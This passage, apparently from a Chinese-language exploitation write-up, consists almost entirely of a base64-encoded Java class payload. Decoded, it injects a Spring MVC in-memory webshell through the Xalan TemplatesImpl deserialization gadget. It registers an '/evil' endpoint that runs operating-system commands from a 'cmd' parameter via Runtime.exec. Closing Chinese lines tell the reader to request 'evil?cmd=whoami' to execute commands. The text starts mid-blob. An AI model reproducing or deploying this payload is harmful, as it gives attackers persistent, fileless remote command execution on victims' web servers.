VpYTjBRMjl1WkdsMGFXOXVTRzlzWkdWeURBQXlBS29CQUZKdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMjEyWXk5dFpYUm9iMlF2VW1WeGRXVnpkRTFoY0hCcGJtZEpibVp2SkVKMWFXeGtaWEpEYjI1bWFXZDFjbUYwYVc5dUFRQTJiM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmRYUnBiQzl3WVhSMFpYSnVMMUJoZEdoUVlYUjBaWEp1VUdGeWMyVnlBUUJLYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12WTI5dVpHbDBhVzl1TDFCaGRHaFFZWFIwWlhKdWMxSmxjWFZsYzNSRGIyNWthWFJwYjI0QkFBVXZaWFpwYkF3QU1nQ3JBUUE5YjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12YldWMGFHOWtMMUpsY1hWbGMzUk5ZWEJ3YVc1blNXNW1id0VBUm05eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZiWFpqTDJOdmJtUnBkR2x2Ymk5UVlYUjBaWEp1YzFKbGNYVmxjM1JEYjI1a2FYUnBiMjRNQUt3QXJRY0FyZ3dBcndDd0FRQVFhbUYyWVM5c1lXNW5MMDlpYW1WamRBd0FzUUN5REFDekFMUUhBTFVNQUxZQXR3RUFDV2x1YW1WamRDQnZhd2NBdUF3QXVRQzZBUUFUYW1GMllTOXNZVzVuTDBWNFkyVndkR2x2YmdFQUVRb0tkR2hwY3lCcGN5Qmxjbkp2Y2dvS0FRQWdiM0puTDJWNFlXMXdiR1V2Ym1WcFkzVnViV0V2U1c1cVpXTjBRMnhoYzNNQkFFQmpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012Y25WdWRHbHRaUzlCWW5OMGNtRmpkRlJ5WVc1emJHVjBBUUE1WTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNoaGJHRnVMMmx1ZEdWeWJtRnNMM2h6YkhSakwxUnlZVzV6YkdWMFJYaGpaWEIwYVc5dUFRQThiM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JEYjI1MFpYaDBTRzlzWkdWeUFRQVlZM1Z5Y21WdWRGSmxjWFZsYzNSQmRIUnlhV0oxZEdWekFRQTlLQ2xNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZZMjl1ZEdWNGRDOXlaWEYxWlhOMEwxSmxjWFZsYzNSQmRIUnlhV0oxZEdWek93RUFPVzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwyTnZiblJsZUhRdmNtVnhkV1Z6ZEM5U1pYRjFaWE4wUVhSMGNtbGlkWFJsY3dFQURHZGxkRUYwZEhKcFluVjBaUUVBSnloTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0SktVeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME93RUFCMmRsZEVKbFlXNEJBQ1VvVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBSloyVjBUV1YwYUc5a0FRQkFLRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PMXRNYW1GMllTOXNZVzVuTDBOc1lYTnpPeWxNYW1GMllTOXNZVzVuTDNKbFpteGxZM1F2VFdWMGFHOWtPd0VBT3loYlRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDJKcGJtUXZZVzV1YjNSaGRHbHZiaTlTWlhGMVpYTjBUV1YwYUc5a095bFdBUUFXS0Z0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFReWhNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOXRkbU12WTI5dVpHbDBhVzl1TDFKbGNYVmxjM1JEYjI1a2FYUnBiMjQ3S1ZZQkFFNG9URzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzVjBhV3d2Y0dGMGRHVnliaTlRWVhSb1VHRjBkR1Z5YmxCaGNuTmxjanRiVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1ZZQkFCWm5aWFJFWldOc1lYSmxaRU52Ym5OMGNuVmpkRzl5QVFBektGdE1hbUYyWVM5c1lXNW5MME5zWVhOek95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZRMjl1YzNSeWRXTjBiM0k3QVFBZGFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlEyOXVjM1J5ZFdOMGIzSUJBQTF6WlhSQlkyTmxjM05wWW14bEFRQUVLRm9wVmdFQUMyNWxkMGx1YzNSaGJtTmxBUUFuS0Z0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQVBjbVZuYVhOMFpYSk5ZWEJ3YVc1bkFRQnVLRXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOXpaWEoyYkdWMEwyMTJZeTl0WlhSb2IyUXZVbVZ4ZFdWemRFMWhjSEJwYm1kSmJtWnZPMHhxWVhaaEwyeGhibWN2VDJKcVpXTjBPMHhxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUTdLVllCQUJCcVlYWmhMMnhoYm1jdlUzbHpkR1Z0QVFBRGIzVjBBUUFWVEdwaGRtRXZhVzh2VUhKcGJuUlRkSEpsWVcwN0FRQVRhbUYyWVM5cGJ5OVFjbWx1ZEZOMGNtVmhiUUVBQjNCeWFXNTBiRzRCQUJVb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUFJUUF1QUM4QUFBQUFBQU1BQVFBeUFETUFBUUEwQUFBQ3BBQUhBQkFBQUFGT0tyY0FBYmdBQWhJREE3a0FCQU1Bd0FBRlRDc1NCcmtBQndJQXdBQUdUUklJRWdrRHZRQUt0Z0FMVHJzQURGa0R2UUFOdHdBT09nUzdBQTlaQTcwQUVMY0FFVG9GdXdBU1dRTzlBQkMzQUJNNkJyc0FGRmtEdlFBUXR3QVZPZ2U3QUJaWkE3MEFFTGNBRnpvSXV3QVlXUUczQUJrNkNic0FHbG0zQUJzNkNyc0FIRm0zQUIwNkM3c0FIbGtaQ3dTOUFCQlpBeElmVTdjQUlEb01FaUVRQ3IwQUNsa0RFaEJUV1FRU0hsTlpCUklpVTFrR0VneFRXUWNTRDFOWkNCSVNVMWtRQmhJVVUxa1FCeElXVTFrUUNCSVlVMWtRQ1JJYVU3WUFJem9OR1EwRXRnQWtHUTBRQ3IwQUpWa0RBVk5aQkJrTVUxa0ZBVk5aQmhrRVUxa0hHUVZUV1FnWkJsTlpFQVlaQjFOWkVBY1pDRk5aRUFnWkNWTlpFQWtaQ2xPMkFDYkFBQ0U2RHJzQUNGbTNBQ2M2RHl3WkRoa1BMYllBS0xJQUtSSXF0Z0FycHdBTVRMSUFLUkl0dGdBcnNRQUJBQVFCUVFGRUFDd0FCQUExQUFBQVlnQVlBQUFBR1FBRUFCc0FFd0FkQUI4QUh3QXJBQ0VBT0FBaUFFVUFJd0JTQUNRQVh3QWxBR3dBSmdCMkFDY0Fmd0FwQUlnQUtnQ2NBQzBBMlFBdUFONEFPd0RrQUR3Qkp3QStBVEFBUUFFNUFFRUJRUUJFQVVRQVFnRkZBRU1CVFFCR0FEWUFBQUNzQUJFQUV3RXVBRGNBT0FBQkFCOEJJZ0E1QURvQUFnQXJBUllBT3dBOEFBTUFPQUVKQUQwQVBnQUVBRVVBL0FBL0FFQUFCUUJTQU84QVFRQkNBQVlBWHdEaUFFTUFSQUFIQUd3QTFRQkZBRVlBQ0FCMkFNc0FSd0JJQUFrQWZ3RENBRWtBU3dBS0FJZ0F1UUJNQUUwQUN3Q2NBS1VBVGdCUEFBd0EzZ0JqQUZBQVVRQU5BU2NBR2dCU0FGTUFEZ0V3QUJFQVZBQlZBQThCUlFBSUFGWUFWd0FCQUFBQlRnQllBRmtBQUFCYUFBQUFEQUFCQU40QVl3QlFBRnNBRFFCY0FBQUFFQUFDL3dGRUFBRUhBRjBBQVFjQVhnZ0FBUUJmQUdBQUF3QTBBQUFBUHdBQUFBTUFBQUFCc1FBQUFBSUFOUUFBQUFZQUFRQUFBRW9BTmdBQUFDQUFBd0FBQUFFQVdBQlpBQUFBQUFBQkFHRUFZZ0FCQUFBQUFRQmpBR1FBQWdCbEFBQUFCQUFCQUdZQVp3QUFBQWtDQUdFQUFBQmpBQUFBQVFCZkFHZ0FBd0EwQUFBQVNRQUFBQVFBQUFBQnNRQUFBQUlBTlFBQUFBWUFBUUFBQUU0QU5nQUFBQ29BQkFBQUFBRUFXQUJaQUFBQUFBQUJBR0VBWWdBQkFBQUFBUUJwQUdvQUFnQUFBQUVBYXdCc0FBTUFaUUFBQUFRQUFRQm1BR2NBQUFBTkF3QmhBQUFBYVFBQUFHc0FBQUFDQUcwQUFBQUNBRzRBTVFBQUFCSUFBZ0FJQUM0QU1BQUpBQm9BSVFCS0FBbDFjUUIrQUNFQUFBbmp5djY2dmdBQUFEUUFtQW9BSVFCSENnQklBRWtIQUVvS0FBTUFTd29BQXdCTUNBQXJDd0JOQUU0SUFFOEtBRkFBVVFvQURRQlNDQUJUQ2dBTkFGUUhBRlVJQUZZSUFGY0lBRmdJQUZrS0FGb0FXd29BV2dCY0NnQmRBRjRIQUY4S0FCVUFZQWdBWVFvQUZRQmlDZ0FWQUdNS0FCVUFaQWdBWlFzQVpnQm5DZ0JvQUdrS0FHZ0FhZ29BYUFCckJ3QnRCd0J1QVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQVJGZG1sc0FRQU1TVzV1WlhKRGJHRnpjMlZ6QVFBblRHOXlaeTlsZUdGdGNHeGxMMjVsYVdOMWJtMWhMMGx1YW1WamRFTnNZWE56SkVWMmFXdzdBUUFEWTIxa0FRQUVabXhoWndFQUFWb0JBQVp2YzI1aGJXVUJBQkpNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUFSamJXUnpBUUFUVzB4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUFtbHVBUUFWVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQUJjd0VBRTB4cVlYWmhMM1YwYVd3dlUyTmhibTVsY2pzQkFBWnZkWFJ3ZFhRQkFBZHlaWEYxWlhOMEFRQW5UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3QVFBSWNtVnpjRzl1YzJVQkFDaE1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlU3QVFBTlUzUmhZMnROWVhCVVlXSnNaUWNBYlFjQWJ3Y0FjQWNBVlFjQU1RY0FjUWNBWHdFQUNrVjRZMlZ3ZEdsdmJuTUhBSElCQUFwVGIzVnlZMlZHYVd4bEFRQVFTVzVxWldOMFEyeGhjM011YW1GMllRd0FJZ0FqQndCekRBQjBBSFVCQUVCdmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTlqYjI1MFpYaDBMM0psY1hWbGMzUXZVMlZ5ZG14bGRGSmxjWFZsYzNSQmRIUnlhV0oxZEdWekRBQjJBSGNNQUhnQWVRY0Fid3dBZWdCN0FRQUhiM011Ym1GdFpRY0FmQXdBZlFCN0RBQitBSDhCQUFOM2FXNE1BSUFBZ1FFQUVHcGhkbUV2YkdGdVp5OVRkSEpwYm1jQkFBSnphQUVBQWkxakFRQUhZMjFrTG1WNFpRRUFBaTlqQndDQ0RBQ0RBSVFNQUlVQWhnY0Fod3dBaUFDSkFRQVJhbUYyWVM5MWRHbHNMMU5qWVc1dVpYSU1BQ0lBaWdFQUFseEJEQUNMQUl3TUFJMEFqZ3dBandCL0FRQUFCd0J3REFDUUFKRUhBSklNQUpNQWxBd0FsUUFqREFDV0FDTUhBSmNCQUNWdmNtY3ZaWGhoYlhCc1pTOXVaV2xqZFc1dFlTOUpibXBsWTNSRGJHRnpjeVJGZG1sc0FRQVFhbUYyWVM5c1lXNW5MMDlpYW1WamRBRUFKV3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1FCQUNacVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpRRUFFMnBoZG1FdmFXOHZTVzV3ZFhSVGRISmxZVzBCQUJOcVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dUFRQThiM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JEYjI1MFpYaDBTRzlzWkdWeUFRQVlZM1Z5Y21WdWRGSmxjWFZsYzNSQmRIUnlhV0oxZEdWekFRQTlLQ2xNYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZZMjl1ZEdWNGRDOXlaWEYxWlhOMEwxSmxjWFZsYzNSQmRIUnlhV0oxZEdWek93RUFDbWRsZEZKbGNYVmxjM1FCQUNrb0tVeHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPd0VBQzJkbGRGSmxjM0J2Ym5ObEFRQXFLQ2xNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVN0FRQU1aMlYwVUdGeVlXMWxkR1Z5QVFBbUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c0JBQkJxWVhaaEwyeGhibWN2VTNsemRHVnRBUUFMWjJWMFVISnZjR1Z5ZEhrQkFBdDBiMHh2ZDJWeVEyRnpaUUVBRkNncFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUlZMjl1ZEdGcGJuTUJBQnNvVEdwaGRtRXZiR0Z1Wnk5RGFHRnlVMlZ4ZFdWdVkyVTdLVm9CQUJGcVlYWmhMMnhoYm1jdlVuVnVkR2x0WlFFQUNtZGxkRkoxYm5ScGJXVUJBQlVvS1V4cVlYWmhMMnhoYm1jdlVuVnVkR2x0WlRzQkFBUmxlR1ZqQVFBb0tGdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlRY205alpYTnpPd0VBRVdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56QVFBT1oyVjBTVzV3ZFhSVGRISmxZVzBCQUJjb0tVeHFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBR0NoTWFtRjJZUzlwYnk5SmJuQjFkRk4wY21WaGJUc3BWZ0VBREhWelpVUmxiR2x0YVhSbGNnRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUIyaGhjMDVsZUhRQkFBTW9LVm9CQUFSdVpYaDBBUUFKWjJWMFYzSnBkR1Z5QVFBWEtDbE1hbUYyWVM5cGJ5OVFjbWx1ZEZkeWFYUmxjanNCQUJOcVlYWmhMMmx2TDFCeWFXNTBWM0pwZEdWeUFRQUZkM0pwZEdVQkFCVW9UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFWbWJIVnphQUVBQldOc2IzTmxBUUFnYjNKbkwyVjRZVzF3YkdVdmJtVnBZM1Z1YldFdlNXNXFaV04wUTJ4aGMzTUFJUUFnQUNFQUFBQUFBQUlBQVFBaUFDTUFBUUFrQUFBQU13QUJBQUVBQUFBRktyY0FBYkVBQUFBQ0FDVUFBQUFLQUFJQUFBQlJBQVFBVWdBbUFBQUFEQUFCQUFBQUJRQW5BQ29BQUFBQkFDc0FJd0FDQUNRQUFBSGZBQVVBQ2dBQUFOaTRBQUxBQUFQQUFBTzJBQVJNdUFBQ3dBQUR3QUFEdGdBRlRTc1NCcmtBQndJQVRpc1NCcmtBQndJQXhnQ3NCRFlFRWdpNEFBazZCUmtGeGdBVEdRVzJBQW9TQzdZQURKa0FCZ00yQkJVRW1RQWZCcjBBRFZrREVnNVRXUVFTRDFOWkJTc1NCcmtBQndJQVU2Y0FIQWE5QUExWkF4SVFVMWtFRWhGVFdRVXJFZ2E1QUFjQ0FGTTZCcmdBRWhrR3RnQVR0Z0FVT2dlN0FCVlpHUWUzQUJZU0Y3WUFHRG9JR1FpMkFCbVpBQXNaQ0xZQUdxY0FCUkliT2drc3VRQWNBUUFaQ2JZQUhTeTVBQndCQUxZQUhpeTVBQndCQUxZQUg3RUFBQUFEQUNVQUFBQkNBQkFBQUFCVUFBMEFWUUFhQUZZQUl3QllBQzRBV1FBeEFGb0FPQUJiQUVvQVhBQk5BRjRBaVFCZkFKWUFZQUNtQUdFQXVnQmlBTVVBWXdET0FHUUExd0JtQUNZQUFBQm1BQW9BTVFDbUFDd0FMUUFFQURnQW53QXVBQzhBQlFDSkFFNEFNQUF4QUFZQWxnQkJBRElBTXdBSEFLWUFNUUEwQURVQUNBQzZBQjBBTmdBdkFBa0FBQURZQUNjQUtnQUFBQTBBeXdBM0FEZ0FBUUFhQUw0QU9RQTZBQUlBSXdDMUFDc0FMd0FEQURzQUFBQkJBQWIvQUUwQUJnY0FQQWNBUFFjQVBnY0FQd0VIQUQ4QUFDQllCd0JBL2dBdUJ3QkFCd0JCQndCQ1FRY0FQLzhBSGdBRUJ3QThCd0E5QndBK0J3QS9BQUFBUXdBQUFBUUFBUUJFQUFJQVJRQUFBQUlBUmdBcEFBQUFDZ0FCQUNBQWJBQW9BQWx3ZEFBRWRHVnpkSEIzQVFCNHB4dAAHY29ubmVjdA==")

最后访问

evil?cmd=whoami

即可执行命令